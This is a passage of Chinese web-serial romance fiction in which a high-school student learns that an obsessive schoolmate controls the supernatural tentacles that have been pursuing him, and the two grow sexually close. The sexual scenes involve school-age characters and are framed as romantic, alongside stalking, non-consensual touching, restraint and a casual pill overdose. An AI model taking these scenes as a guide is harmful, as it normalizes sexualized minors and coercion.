教室后门,一个人影安静地站在门框边上,夜色里一双眼睛突兀地亮着,存在感低到像是要与夜色融为一体,乍一眼甚至会吓到过路的人。 影子旁边突然探出了一截扭动着的长条触手,刚一探头就被按了回去。温涟眼神明晃晃写着老实点,触手立马消了气焰,萎靡不振地缩了回去。 等到薛蕴知喝下这一包感冒冲剂,门外的人影悄无声息地离开了。 * 考完试的第二天体育课照常进行。薛蕴知因为感冒还没退,头还昏沉沉的,因此被体育老师特赦休息。 秃顶班主任老李把他喊去办公室聊了两句,问他这次考试怎么样,有没有信心考高分,push完之后还不忘宽慰两句,说你最近的努力他也都看在眼里,就算没考到好成绩也没关系,知道努力才是最要紧的。 薛蕴知适时地点头,眼皮垂着,没什么精神,眼下的黑眼圈又有些重了。 ——没有人监督他睡觉的时候,他就没有按时睡觉的习惯,以前是兼职到很晚,现在是意识到了自己高中课程差了多少,为了查漏补缺学习到很晚。 昨天严叔突然给他转了两百万过来,他打了个电话回去问情况。严锐立说他把定期活期存款全部取出来了,让他把钱还给之前帮忙垫付的朋友。 薛蕴知脑袋靠在硬邦邦的墙上,听着严锐立说这是很大的恩情,包括帮忙找了顶尖的医疗团队的事,如果没有这么好的医疗团队,崔柳也不会恢复得这么快。 薛蕴知一直让严叔帮忙瞒着崔姨,治疗费是他朋友垫付钱的这件事。 崔柳也是方才得知这件事,知道之后立马着急地让严锐立把他们这些年的存款取出来。 她不想让他因为他们欠着别人人情,即便只是三年的相处时间,她也是把薛蕴知当成了亲生孩子来疼的。 薛蕴知嗓音有些艰涩,再加上感冒的缘故,声音哑得不行,严锐立说了没两句,电话那头就传来了崔柳风风火火的声音,问他是不是生病了。 薛蕴知否认了,说自己只是太困了嗓子有点哑。 “知知你把钱还给你那个朋友,具体的费用你不告诉我我也知道不会少,况且医疗资源比垫付治疗费更难得……唉,我总担心……”崔柳知道这是笔多么大的费用,她知道薛蕴知的性格,虽然不能总把人往坏里想,但她还是担心他性子软,被挟恩图报了。 因此她醒来之后,对于严锐立收了孩子钱这件事气得不行,但看着严锐立头顶生出的白发又骂不出口。 她让严锐立把所有能取出来的钱全部取出来,又卖了些值钱的金银换钱,转回给了薛蕴知。 “总之咱们不要欠着别人人情……你这孩子,根本没必要为了我找别人借钱。而且我给你的钱你怎么不用?你在外面过得这么辛苦为什么不和我说?”崔柳有点气,“等下次看到你,我再和你理论理论!” 薛蕴知抿了抿唇,问:“钱真的没事吗?” 崔柳笑了笑,宽慰他:“这种事还不用你一个小孩担心,你就把心思放在学习上……你放心吧知知,你崔姨家底雄厚着呢,还没到倾家荡产的地步。” 挂了那通电话后,薛蕴知不可避免地又想起温涟。他把那笔钱原封不动地转回给温涟,就关了手机,闭上眼睛睡觉。 然而这夜翻来覆去地睡不着觉,再次失眠了。 …… “吱呀。” 正巧这时候办公室的门开了,薛蕴知好奇地瞥了一眼,刚好和推门进来的人来了个对视,那一瞬间好像看见了什么洪水猛兽,他立马缩回了视线,唇角一下子撇了下去。 老李完全没意识到两个年轻人的视线交锋,慢悠悠地喝了口保温杯的水,招呼道:“温涟啊,你们班主任有事先走了,托我和你聊聊竞赛的事。” 温涟迈步走近,走到薛蕴知身边停下,身边人的气息让薛蕴知神情变得有些不自然,身体紧绷起来。 “老师我先走……”薛蕴知想跑。 老李“诶”了一声,不让他如愿:“先别走啊,我还没和你说完呢。你也听听。” 温涟侧头看了薛蕴知一眼,镜片后的那双眼睛弯了起来,仔细描摹着他的脸。薛蕴知却完全不看他,脸色紧绷冷峻。 温涟只觉得可爱。 薛蕴知不情不愿地站在办公室,盯着地面,闭上耳朵进入了冥想时间,一点没听他们的谈话内容。 等到老李和温涟说完了,又苦口婆心地和他说了几句,薛蕴知满脑子都是旁边站着的人,完全不在状态,不过耳朵地嗯嗯几声。 他感觉身侧有道炙热的视线一直盯着自己,不用看就知道是谁,有些恼地想,温涟怎么还不走。 老李像是终于看出他待不下去了,俨然是左耳朵进右耳朵出的状态,于是大发慈悲地让他出去了。 温涟很自觉地跟着薛蕴知一起出了办公室。 薛蕴知往左走,他也往左走。薛蕴知右转,他也右转。 薛蕴知忍了忍,没有发作,进了厕所,没想到温涟也进了厕所。他转身道:“我上厕所你也跟着?” 温涟像是个一棍子打不响的闷葫芦,被薛蕴知瞪了好几眼之后,才抬起头,轻飘飘地来了句:“我也上厕所。” 薛蕴知没有霸道到不许别人上厕所的地步,他自己生了几秒钟闷气,低声骂了句“艹”。 他刻意忽视掉温涟,让自己别被影响了,中途眼睛却不小心瞥了一眼。 只是一扫而过,感觉内裤的样式有点眼熟,他没多想,一刻也不想和温涟在一个空间里多待,上完后立马提上裤子走人了。 回到操场的时候,体育课也快结束了,薛蕴知生着病,不参与最后的跑步,于是被体育老师委任去放器材。 他推着一车的篮球羽毛球等器材往器材室走,人一闲下来就容易胡思乱想,他脑子里又想起了方才看到那条内裤时眼熟的感觉。 就好像他见到过摸到过一样…… …… 推着器材到了器材室,灰扑扑的器材室放一样东西就能激起一层灰。薛蕴知一边放,脑子一边想着,突然脑子里闪过一道光。 艹!他想起来了!那就是他的内裤!是那天被触手缠上之后他*出来的那条! 薛蕴知耳朵红得快要滴血,气得呼吸都粗了。 居然被温涟穿在身上?!! 温涟他就不嫌脏吗?他就没有一点廉耻心吗?!! 薛蕴知气血上涌,长这么大极少有情绪波动这么大的时候,偏偏几乎每次都和温涟有关。 他把篮球“砰”的一声砸回框里,激起一片灰尘,稍微冷静下来一点之后,思绪重新活跃。 但是那条内裤不是被触手……薛蕴知猛地睁大眼睛,脑子突然一下就通了。 原来的疑点一一被解释,为什么温涟每一次都能那么巧地出现在他身边,为什么触手要缠着他,为什么……一切的一切哪里有那么巧?! 就是因为那些触手是由温涟操控的! 薛蕴知感觉因重感冒而混沌难受的脑子一下像是通了薄荷糖,思绪从没有这么清晰过。 他站在原地,气得感觉血液倒灌了,拳头攥得咯吱作响,左手虎口的创口贴隐隐浸出血迹,他怎么被人耍成这样! 耍他就这么好玩? 器材室的门突然又被推开了,他脑袋转动,目光沉沉地看向推开的门,眼睁睁看着温涟跟个没事人一样拿着一个篮球进来了。 “这个球好像是你们班忘记捡回来的,我刚刚在篮球场看到的。” 阴魂不散。 好像每一次出现都有正当理由,让人一时半会儿察觉不出问题。 但是就像如影随形无孔不入的鬼魂一样出现在薛蕴知的生活里,浸透他生活的方方面面,想要挤占他的全部空间,如摆脱不掉的附骨之疽。 “怎么了?”温涟看薛蕴知一直看着自己,竟然神色平静,奇怪地反问一句。 薛蕴知按着他的手臂,把他毫不留情地掼倒在了器材上,自上而下地俯视着他。他心里已经有了答案,却还是问他:“触手是你的?” 黑润瞳孔里摇曳着不可置信的光。 温涟那副黑框眼镜在方才激烈摇晃的动作下掉了下去,砸在硬地板的瞬间摔坏了一个眼镜腿,扑上了一层灰。 然而此时在场的两人都没有闲心在意,温涟被压制着,眸光却变得极具侵略性,痴迷地舔了下唇,直勾勾地盯着薛蕴知的脸。 因为生气、怒火中烧,左眼角的泪痣红得灼人,脸色冷峻又愤怒。 薛蕴知按着他:“说话啊!你是哑巴吗?” 温涟还是一言不发。但这种情况下不说话也是一种默认。 薛蕴知气急败坏,但温涟装哑巴他也没办法撬开他的嘴。薛蕴知呼吸粗重,用力掐住了他的脖子,虎口的创口贴咧开,咬牙切齿地说:“他妈的一直都是你在搞鬼吧!” 温涟被掐着脖子往后仰,脚后跟几乎悬空,整个人快要掉进装篮球的筐子里。 他双手抓着掐在自己脖子上的那只手,全身上下唯一的借力点就来自于薛蕴知。 出乎意料的,他神情却没有一丝惶恐惊慌,而是一如既往地专注又安静地盯着面前人的脸,让人头皮发麻的眼神。 刘海因重力掀开,露出一张清俊温雅的脸,一双浅色的眼睛痴迷炽热到令人悚然的地步。 薛蕴知握成拳的手用力到发抖,终于忍不住了,一拳砸了上去。 “嘶——”温涟那张闭得紧紧的、好像用胶水粘上了的嘴巴终于张开了,脸因疼痛皱了下,嘴角溢出血来。 薛蕴知神色一怔,冲动褪去。 他握拳的手轻轻抖着,眼睛轻眨,反思自己是不是用力太大了,就看见温涟舔了舔嘴角的血,卷入唇齿中,然后伸着舌头想顺着他的手指舔上去。 薛蕴知大惊失色,怔了一下才猛地缩回了手,接连往后退上几步。然而动作慢了一步,湿软的舌暧昧地舔过他的手指,让他浑身过了电一般,怔愣在原地。 温涟手向后撑住了筐子的边沿,抬眼看着他,扯唇时牵动脸上肌肉发疼,但他还是扬着笑,眼睛直勾勾锁定着薛蕴知,舌暧昧地舔着唇,就像是在模拟舔薛蕴知的x。 数不清的触手从他的身上伸出,兴奋地挥舞着攀上薛蕴知的腿,砸地时发出闷闷的巨响,仿佛咿咿呀呀的庆祝语。 很掉san的一幕,薛蕴知原先的认知被彻底颠覆,看到这一幕只觉得荒谬,腿下意识往后退了一步,还没踩地,就被一根触手赫然卷住脚踝往上一拽。 身体平衡被打破,薛蕴知猛地摔倒在了地上,手肘和掌心地面摩擦一瞬,校服外套被擦破了。他疼得轻轻皱了下眉,抬手看了眼,掌心覆了层灰,依稀沁出血珠。 才看了一眼,手就突然被另一只手抓住。 薛蕴知抬眸想抽回手,却被使劲攥住了腕骨,正犟得想要使大力抽回去,腰上忽然缠上了只触手,肆意妄为地探进了里面那件卫衣里,痒痒肉毫无防备地被触碰让他力气一软。 温涟毫不讲究地单膝跪在了他面前,低头仔细察看他擦伤的手。 温涟抿唇:“你穿得太薄了。” 薛蕴知不以为然,这和穿得薄有什么关系。 温涟抬起眼,认真问:“你带药膏了吗?” 薛蕴知眼皮一跳,这点小伤过会儿就愈合了。 温涟看他的神色就知道他身上没带,于是又埋下头,小心翼翼地用干净的衣服把手上的灰擦干净了。 薛蕴知的手很好看,骨节分明,纤长白皙,像是极好的艺术品,此时艺术品被打碎了一个角,血珠还在沁出,将白皙的肤色染红。 血色在浅色的瞳孔里跳跃着,不断地挑弄着内心深处的欲/望,让温涟的神色越来越晦暗,脑子逐渐不受自己控制。 “放开我。……我操/你干嘛!你有病啊?”薛蕴知冷静的面具被打碎,脸上显露出震惊,想要抽回自己的手,却被温涟死死攥着。 温涟像条疯狗一样埋头舔着他掌心的擦伤,薛蕴知不知所措地往后躲一点,他就得寸进尺步步紧逼地进一步,像是渴疯了一样吮吸着溢出的血珠,舌放肆扫掠着伤口,牙有一着没一着地磨着,一不小心还会磕到伤口。 薛蕴知喉口溢出一声疼的轻/喘,拧着眉,掌心绽开细细密密的疼痛。他伸出完好的那只手一把攥住了温涟后脑勺的头发,抓着他迫使他松嘴。 但温涟条件反射咬住了他的手,牙齿压进擦伤周围的一圈皮肉里,死也不松。 薛蕴知手疼,温涟后脑勺的头发被抓的也疼。但两个人像是在比赛似的较劲,没有一个率先放弃的。 温涟伸出舌头继续舔着伤口,受伤的地方本来就敏/感,更别提被这样怪异地舔着,薛蕴知恶寒到浑身都不自在,强行忍着手上那点痛,攥着温涟的头发按着他把他翻了个身。 一时间,两人的位置颠倒,有个药瓶不小心从校服口袋里滚落,往外面滚了点距离后幽幽停下。 薛蕴知的脸轮廓分明,下颌紧绷,冷眼看人时帅得人腿软,他一只手垫在了温涟脑后防止他受伤,另一只手解脱后就狠狠钳住了温涟的嘴。 他注意到了那个药瓶,但很快就收回视线,没有多在意。 温涟的嘴合不上,涎水分泌着,琉璃似的浅色眼珠里晃荡起泪光,狼狈不堪。 但即便这样了,他还是一眨不眨地望着薛蕴知,执着到心惊的毅力。 薛蕴知深呼吸了好几下,终于冷静了点:“你到底想干什么?” 温涟无实意地“啊啊”了两声,薛蕴知意识到自己这样钳住他的嘴巴他说不出话,于是稍微松了力气。 “药……”温涟吞咽口水,艰涩道。 药? 薛蕴知想起了什么,把视线投向了刚才滚落出去的小药瓶,是伸手就能触到的距离,他考虑了下,伸出一只手去捞。 温涟脑子意识模糊,看薛蕴知注意力不在他身上了,聪明劲上来了,见缝插针地贴了上去,伸手紧紧环住了他劲瘦的腰,凑近,唇擦着锁骨去磨,像是渴了一个月没喝水的人,迫不及待地咬着皮肉吸吮舔舐起来。 薛蕴知还没摸到药瓶,就感受到了锁骨湿濡的触感,他迅速扒拉开贴在自己身上的温涟,把他扔回地上:“让你的触手去拿!” 好像是避之不及,但耳朵却红透了,锁骨上也留下了吮吸的红痕。才成年不久的男生血气方刚的,经不起这种亲密的身体接触。 温涟被重新按倒在冷硬的地面,眨眨眼看着他,咂了咂嘴,自顾自地回味着味道。 触手倒是乖巧地卷起药瓶,艰难打开瓶盖,在薛蕴知的注视下,往温涟嘴里倒,一股脑倒了进去。 薛蕴知脸色一变,伸手抓住药瓶。但是晚了,药瓶已经空了。 薛蕴知让温涟吐出来,温涟还没咽,抬眸和他对视几秒后,乖乖地吐了几颗出来,薛蕴知的脸色稍微好了一点,温涟眼睛痴迷滚烫地看着他,喉结滚动一下,把嘴里的药片干咽了下去。 “你这药吃一次的剂量是多少?”薛蕴知拿着药瓶转动着看,上面都是英文专业名词,他看不懂,但不影响他看得出来温涟那种吃法的奇葩,“你当这是糖啊往嘴里倒。” 温涟被勾起来的冲动终于消退了,心脏跳动的频率也恢复了正常。他出声:“你在关心我吗?” “想太多了,”薛蕴知冷淡地反驳,又问,“你这是治什么的?” 温涟:“x瘾。”平静地抛出一个惊雷。 “咳咳!”薛蕴知蓦然被这个词惊得呛住了,咳了好几下,眼角都呛出泪花。 温涟继续平静地说:“不吃的话,我就满脑子都是和你做/爱,控制不住的,我说我离开你会疯,不是故意夸大吓你。” 薛蕴知语塞:“你……” “你不喜欢男人的话,也可以不把我当成人。” 薛蕴知:“……啊?” “当你的狗也可以。”温涟顶着一张纯良的脸,浅色瞳孔清澈干净,毫无负担地说出这种虎狼之词。 见薛蕴知瞪大了眼睛似乎是不相信,他学狗叫了两声,表示自己的诚心:“汪汪。” 薛蕴知:“?”他也没有这种癖好啊。但是…… 薛蕴知的耳朵更烫了。 …… “我……操……” 器材室的门口突然传来一声难以置信、发自肺腑的感叹。 江明懵逼地站在门口,受到了极大震撼。 薛蕴知久久没回来,体育老师就让他来瞅一眼,催催他,没想到他刚推开门就撞见这么令人瞠目结舌的一幕,耳朵还听见了这种奇怪的play,大惊失色。 光线昏暗,灰尘气味沉重呛鼻。两个人衣服凌乱,做俯卧撑似的叠在地上,同时看向他。 江明心觉自己目睹了什么秘辛,连忙转身把门给关上了,反应极快,不让第四个人再看见。 怎么又被他给撞见了! 上次在教室里才撞见了一回,这什么运气? 他回过头对上了薛蕴知不太好的脸色,出走的智商终于回笼,指了指自己,问了个傻得可以的问题:“我、是不是也该出去?” 薛蕴知表情木了,完全没想到事情会往这个方向发展,张了张嘴想解释,又觉得前因后果太长了,累了,闭上了嘴,也无力地闭上了眼睛。 这落在江明的眼里就是默认了,他比了个我懂的手势,很上道地出了器材室,顺带还很体贴地把门关好了。 门被关上,体育器材室的光纤重新变得昏暗。 温涟见他的注意力还停留在门上,眼里闪过一丝晦涩的幽光,死气沉沉的打扮让他看起来多了几分吓人阴沉。 但偏偏在薛蕴知的面前,他还要装出一副乖巧听话的模样,继续学着小狗叫,刚才说的那句话并不是心血来潮:“汪……唔。” 薛蕴知眼疾手快一把捂住他的嘴,他脸皮薄,被好兄弟撞破了这一幕意外的情况后,听见温涟的汪汪声,立马想起来他刚才惊世骇俗说要给自己做狗的一番话,从头红到了脚。 薛蕴知把嘴里转圜的字咬来咬去,脸很烫:“你是不是有病。” 温涟点点头:“我有。” 他认真地说:“你刚才也知道了,我有x瘾,你愿意帮我治病吗?” 作者有话说: 互动环节——宝宝们,你们觉得这个小知了会帮他治病吗 第25章 第25章[VIP] “绝无可能!” 那天在器材室, 薛蕴知耳朵通红,咬牙切齿地留下了这么一句话。 温涟轻眨眼睛:“哦。好吧。”他看上去好像很淡定地接受了。 * 江明一下午都在偷瞥同桌薛蕴知,一副想问但是又不敢开口问的样子。 薛蕴知被他瞥得浑身不自在, 把笔放下来,撑着下巴侧头, 直白问道:“想问什么?” “啊……”江明挠了挠脸侧, 眼珠一转,得到许可了就立马换上了一副八卦的神情,“你和那个人……” 他露出一个你知我知的表情,薛蕴知挑眉,装傻:“谁?” 江明挤眉弄眼, 看薛蕴知还搁哪儿装傻,忍不住了:“就高三那个, 带眼镜的那个……呃, 好像是年级第一?” 他突然反应过来, 笑得贼兮兮的,凑近继续八卦:“所以你最近这么用功, 是开小灶啦?” 薛蕴知无情地把他的脸推开, 冷漠地说:“好了, 别打扰我了。还有, 我和他不熟。” 江明:??QAQ 不是说好让他问的吗?怎么问了不解答,存心吊他胃口啊?!而且不熟?都那样这样了, 这瞎话傻子才信! 但薛蕴知已经开始做卷子了。 江明不好再打扰他,无能狂怒了几秒, 也跟着开始做卷子。 * 薛蕴知又找了份兼职, 是离崇明一中更近的一家超市里,生意不是特别好, 这样闲暇的时候他还能抽空背点英语单词。 只有自己赚到的钱才是真正属于他的,这个观念在他心里根深蒂固。别人给的总归有一天是会被收走的,他对此深信不疑,并不想受制于人。 这是薛蕴知第一天上班,但收银的工作不是第一天做,这家小型超市的收银员只有他一个,但他手脚熟练利落,进度很快,队伍越来越短。 “慢走,欢迎下次光临。” 这句说到最后一遍时,队伍末尾的人递过来了一瓶水,那只手一看就是养尊处优,腕骨扣着一块价值几百万的表。 薛蕴知注意力都在自己的单词本上,压根没注意这种细节,扫物品的速度一如刚才,但扫完递出去的时候,面前的人却没有接。 “请你喝。”那道声音含着笑,却毫不掩饰透着股傲慢施舍的意味。 薛蕴知抬眼,面前站着个一身有钱气息的男人。薛蕴知对这种自以为是的有钱人没什么好感,淡声拒绝:“不用了。” 由于感冒,他嗓音带着点鼻音,反而显得有点可爱。 他手里抓着那瓶水,悬在空中,手都举酸了,男人还是没接,单手插着西装裤兜,含笑看着他。 薛蕴知有点不耐烦了,最烦装x的人。 “我想和你聊聊。温涟,你认识吧,”男人一副胸有成竹的模样,像是笃定他认识自己一样,“我是他哥,温席林。” 温席林直白地打量着面前穿着超市员工服装的少年,红色的土气背心穿在他身上却别有一番风味,把他的肤色衬得更白了不说,还有种辛苦挣钱养家的小白花气质。 那张帅气到无可指摘的脸冷峻淡漠,眼角泪痣添上几分艳,再加上鼻头泛着点绯色,有点没精打采的,无端带出了点脆弱惹人怜爱的气息。 ……难怪把他身边的人勾得像狗似的舔,不就是有张脸加上会装吗? 温席林不屑地想,他最了解这种人了,只要给点钱哪里还装得了什么清高。 被他在心里编排了一阵的薛蕴知对此一无所知,轻轻啧了声,听到这个身份一点情绪波动也没有,冷淡回道:“你有事?” 温席林抬起下巴,一副大发慈悲的语气:“说说吧,要多少钱你才肯……” “我还要上班,”薛蕴知没工夫和他闲聊,公事公办的语气,“如果你是要说这些没营养的话,就别耽误我的工作了。” 温席林不敢相信:“……”他分分钟几百万上下的生意,主动开口说聊两句,居然轮到一个高中生来拒绝自己。 薛蕴知催促他:“麻烦让一下这位客人,别人也要结账。超市可不是给你一个人开的。” 温席林气得咬牙切齿:“你什么时候下班?” 薛蕴知看都不看他一眼:“再等四个小时。” 温席林看了眼时间,再过四个小时就凌晨两点了,兼职到这么晚他第二天还要去上学吗? 还没等他从震惊中缓回来,就被薛蕴知推开了,嫌他挡路。 温席林看一眼后面排队蛐蛐他的人,自觉丢了面子,忍气吞声地出了门,坐进了私家车里等着。 男人走后,薛蕴知重复自己收银的机械性动作,无语地想,给五百万离开他弟弟这种情节居然让他给遇上了。真是活久见。 这么小概率的事都给他碰着了,不知道等会儿下班了去买个彩票能不能中?薛蕴知若有所思。 …… 天色漆黑一片,夜里湿气重,一吹风就冷得彻骨。终于挨到了下班时间,薛蕴知收拾了下东西,背上包。 走出店后,呼出来的气都是白汽,他双手并拢摩擦取暖,想着自己明天该穿毛衣了,别让感冒再严重了。 突然,几个戴着墨镜,明显经过训练的保镖拦在了他身前,挡住了他的去路。 “我们老板请你上车坐一坐。” 薛蕴知稍一思索:“温席林?” 保镖:“是。” 薛蕴知扫了眼那辆车,顿了下:“我不放心。进了车里谁知道你们会不会把我绑架了,让他下来说吧。” 保镖们商量了一下,得出结论:“请允许我们转告老板一声。” 一个保镖回车里朝温席林转述、商量,其他保镖则是继续挡在薛蕴知的面前。 站在外面吹冷风,薛蕴知有点冷了,低着头,往手心呼气,双手摩擦着。 温席林下车时看见的就是这样一幅场景。少年里面穿着件连帽卫衣,露出了一截白皙脆弱的后颈,黑发柔软,削减了平日里仿若与生俱来的攻击力和冷淡。 温席林心绪一动,旋即立马坚定了自己的想法,薛蕴知肯定就是这样勾引人的,他不能被勾引。 “开个价吧,怎么才能离开温涟。”温席林抬着下巴看人,傲慢得很。 薛蕴知脖子缩了起来,像是想把自己整个人都缩进衣服里取暖。嗓音还是冷的,漫不经心的:“行啊,给我一个亿,我马上转学。” 听见这个数字,温席林不可思议地问:“你皮鼓镶钻了啊这么敢开价?” 薛蕴知嗤了一声:“j8镶了你要看看吗?” 粗俗的话语从他那张薄红的唇里吐出来,反而显出一种极强的反差感,薛蕴知心里有点烦了,掏了包烟出来抽出一根,含在嘴里,含糊地说:“给不起就别浪费我时间了。” 烟被点燃,火光晕染,烟头被咬的濡湿,薛蕴知看着温席林嫌恶地皱眉咳嗽,就好像闻到了什么劣质品一样躲得远远的,心情竟然好了不少。 他两指捏住烟取了下来,烟雾弥散,俊帅的眉眼都模糊了点,垂眸,懒懒散散地说:“你有些话不如给你弟弟说,毕竟不是我缠着他,而是他——” “甩都甩不掉啊,我也很烦。” 烟圈被吐出,温席林咳得更厉害了,呛得脸和脖子都红了。 * 解决完这个麻烦,薛蕴知慢悠悠地回了家。 租的那间房往常晚上都是很冷的,今天却一反常态地热。薛蕴知拧了下眉,瞥到占据房间的床的触手时便觉得答案显而易见了。 大的找完他麻烦,小的又来了。 薛蕴知把门带上,一边脱下书包,一边扣桌子敲了两声:“温涟,滚出来。” 鼓起的被子蜷动了下,温涟从里面探出了头,被子就像乌龟的壳一样挂在他身上:“知知。” 他脸上漫着不正常的醉红,痴痴地盯着薛蕴知的身影,目光像是开启了自动跟随。 薛蕴知兴师问罪:“你怎么在这儿。” 温涟:“犯病了。” x瘾……薛蕴知想到这个一阵耳热,偏还要严肃地绷着脸:“药呢?” “……吃完了。”温涟反应有些迟钝,顿了片刻才回答。 薛蕴知看到房间里多了台空调,地上还有取暖的小太阳,热气无孔不入,驱散了整个房间的冷气。不用想 他方才从外面回来的寒气也褪去了,甚至还有点热了。 校服外套被搭在了椅子上。薛蕴知把卫衣袖子往上挽了点:“电费你出?” “我出,”温涟用力地点点头,认真道,“因为我是知知的g……唔。” 薛蕴知眼疾手快捂住了他的嘴,最后那个字没说出来就被堵回了喉咙里。 正儿八经纯情好少年红着耳朵说:“你没有羞耻心吗?” 温涟伸出舌舔了下他的掌心,用实际行动回答了这个问题,眼神烫的惊人,直勾勾盯着人,薛蕴知真的感觉自己就像是被扒光了一样。 薛蕴知缩回了手,还把手在他衣服上蹭了蹭,都是口水! “我饿了,”温涟喉结滚动,他裹着被子躺在床上,薛蕴知就站在床前,这个位置的高度刚好适合张嘴吃自助,他眼皮往上撩,浅色眼珠直勾勾盯着那处,意有所指,“想吃。” 薛蕴知也懂了他的意思,对没脸没皮的人完全无力招架,他恶狠狠地说:“我去给你煮根触手吃。” 他刚往后退了一步,一根触手就从他身后缠了上来,裹住了校服裤子另外几根触手也见缝插针地袭了上来。 触手缠着他,把他送到了温涟面前。 “知知帮我治病吧,”温涟嘴上用很可怜的语气说着,倾泻着占有欲的眼睛却像是快把薛蕴知给吃了,“你知道的,生病很难受。你心疼那个阿姨,也心疼心疼我,好不好?” 这什么歪理?薛蕴知气愤,这是一种病吗? “我没答应……唔……呃嗯。” 作者有话说: 温温: 小知了: 第26章 第26章[VIP] 薛蕴知眼睛轻轻眯了起来, 想要拽着温涟的头发把他扯开,但触手缠着他的胳膊,让动作受阻。 唇瓣一张一合, 带着喘的冷感声音喊了声:“温涟。” 温涟的动作一顿,贴在鼻梁上的濡湿布料随着呼吸的频率贴近, 舌还探在外面, 湿软冒着热气。听见薛蕴知的声音,他抬起眼,视线近乎迷离。 “让触手松开我。”薛蕴知脸色有些泛红,呼吸还有些急促,说出的话是与外表截然不同的冷静。 温涟抿了抿唇, 犹豫着,又想装听不懂蒙混过去, 但是薛蕴知突然俯身逼近了他, 桃花眼漾着轻光, 低声威胁他:“快松。” 黑润的眸沉静认真地看着他,距离极近, 近到连呼吸的温度都能感受到。 温涟依依不舍, 但还是听话地松开了触手, 一获得自由, 薛蕴知就迅速推开了他,毫不留念地转身朝着卫生间的方向走去了。 温涟趴在床上, 眼睛一眨不眨地盯着薛蕴知的背影,眼里没有闪过失落难过的情绪, 他觉得薛蕴知的冷淡态度是理所当然, 都在他的意料之中,没有什么可失落的。 “对了, ”在进入卫生间的前一秒,薛蕴知脚步微微顿了一下,“我可以帮你治病。下次来找我。” 温涟眼睛一瞬间亮起来,卫生间的门关上,两人仅有一门之隔,触手扒着门,有只触手按捺不住地穿门而进,和里面的人来了个对视。 温涟的脸染上醉酒般的薄红,蒸腾而上的热意浸出了汗,然后就像是被踩到脚了似的发出了轻轻一声“嘶”声,但脸愈发滚烫了。 有反应的。……因为他吗? 这样想着,温涟唇角一点点勾了起来,浅色眼珠里漾起了愉悦欣喜的光,因为他吗? 那是不是可以说明,薛蕴知也有一点喜欢他。 进了门的那只触手灰溜溜地出来了,滑溜溜的躯体上留下了一个浅浅的拖鞋底印,是被里面的人踩的。 过了许久,里面的水声一直响着,薛蕴知从卫生间里出来,洗了个澡,脸上的水珠顺着轮廓流下,性感得要命。 房间里暖融融的,稍微穿厚一点就热。他换了身衣服,一件黑色工字背心显出紧实的肌肉,穿在身上带出了点慵懒随性的气质。 校服外套被挂在了衣架上,光从细节就能看出他是一个很整洁很爱干净的人。 “你什么时候走?”薛蕴知问。 温涟摇摇头,倒是有问有答:“不走。” 薛蕴知没和他争论这是谁家、没经过他同意不许进来这种没有意义的话,反正温涟也只听他自己想听的。 温涟爱在这里待着就待着吧。放着大房子不住来他这里蜗居,薛蕴知也懒得管他在想什么了,说不准有钱人就是有怪癖。 “那你去洗个澡再上床。”薛蕴知宽容地接受了他要赖在自己这里的现实。 温涟从被窝里出来了,乖乖去了卫生间洗澡,一点异议都没有。 里面水声响起,薛蕴知坐在桌子前,把试卷翻了出来。笔捏在手里,灯光下,他做了几道选择题,突然想到硬挤进他生活里的温涟,房间里好像多了人气,不再是他一个人了,唇角不自禁扯起了一点笑。 旋即脑海里冒出了今天兼职时遇到的自称是温涟哥哥的人,名字他不记得了,但是那股傲慢自大的劲倒是很让人记忆深刻,就好像他以前也见过似的。 但他向来不记无关紧要的人和事。高一时候同时找了许多份兼职,那个时候的薛蕴知忙得快要炸了,压根没精力也没闲心去和人交朋友认识,给他留下印象的除了热情洋溢精力充沛到令人感叹的江明,就是给他下了两次药的费嘉言。 那样一个傲慢无礼的人,怎么会有温涟这样的弟弟…… 薛蕴知晃了晃脑袋,将那些繁杂的念头都抛开了,认认真真地写作业,突然间房间里的灯光闪了几下,他茫然地抬眸,下一瞬眼前就漆黑一片了。 怎么回事?薛蕴知拧眉。停电了吗? 他摸黑摸到自己的手机,打开了手电筒,第一时间是顺着墙走到了卫生间门口,抬手敲了敲门:“温涟?” 里面的水声停了,很安静,没有回应。薛蕴知眉头皱着,又喊了一声,还是没有回应。 他有点担心温涟在里面出了意外,出声说:“我进来了。”停顿了两秒,才推开门进去。 推门的那一瞬间,一个湿漉漉的拥抱贴了上来,薛蕴知手肘被撞了下,没拿稳手机,“啪嗒”一声飞了出去,摔在了地上。 “温涟!” 薛蕴知刚想发火,就听见温涟轻得好像下一秒就会消失的声音,还散发着潮湿气息的脸贴着他的侧脸,轻轻蹭着:“对不起……就让我抱一下,好吗?” 薛蕴知要推开他的动作顿了一下,“你又犯病了?” 这样真的不会肾虚吗?薛蕴知在心里默默吐槽了一句,旋即又想到一个更有可能的原因:“你怕黑?” 温涟紧紧抱着他,身体和他贴得没有半分缝隙,这样的身体接触让两人都能够清晰感受到对方的任何反应。 薛蕴知身体僵硬,有点想跑了,然而手才刚放在他肩上,对方的唇就擦着自己耳朵掠过,薛蕴知的手也僵住了。 黑暗里,温涟的脸上并没有显现出薛蕴知想象中的害怕惊恐的表情,准确来说,他脸上除了餍足的幸福之外没有任何神情。 他只是借着黑暗里薛蕴知看不见他的神情这一机会,肆意地纾解着自己想和他亲密接触的欲/望,怎么这么好,这么温柔? 他顺从本能地贴着薛蕴知,唇擦着耳垂,然后情不自禁地咬了上去。 “你好烫。”温涟咬着舔着绯红的耳垂,侵略性溢了出来,喟叹一声。薛蕴知手足无措地往后退,直至背抵到了门前。 漆黑环境下,眼睛无法视物,就增加了对未知事物的恐惧感,在这片空间里,薛蕴知唯一能感知到的就是温连的体温。 薛蕴知长这么大连别人的手都没牵过,哪里抵得住这种绵里藏针的攻势,心脏跳得飞快,眼睛睁得大大的,泪痣艳红无比,勾人得不行,这一刻简直像是勾引人而不自知的狐狸精。 “知知,我想亲你,”温涟又在寻求他的同意了,捧着他的脸,“可以吗?” 两人都不说话的时候,薛蕴知的呼吸声便清晰可闻起来,他呆愣地呼吸着,想逃跑,背后却是门,面前是软刀子逼迫他的人, 前有狼后有门,四周也没有路让他逃。 沉默了许久,温涟也不动作,耐心地等着他的回应。 薛蕴知终于开口了:“你、你是想和我谈恋爱吗?” 在此刻旖旎刺激的氛围中,他这一句话显得纯情又青涩。温涟的呼吸翻涌急促,被谈恋爱这三字爽的脑袋炸开烟花,一改方才怀柔的攻势,兴奋地往前抵了抵,嗓音有些哑:“可以吗?知知。” 薛蕴知脑子也糊里糊涂的,黑暗剥夺了人的视线,让感官变得清晰敏/感起来,他一片浆糊的脑袋,一只手伸手抓住了他的,他才猛然惊觉自己居然又起立了! 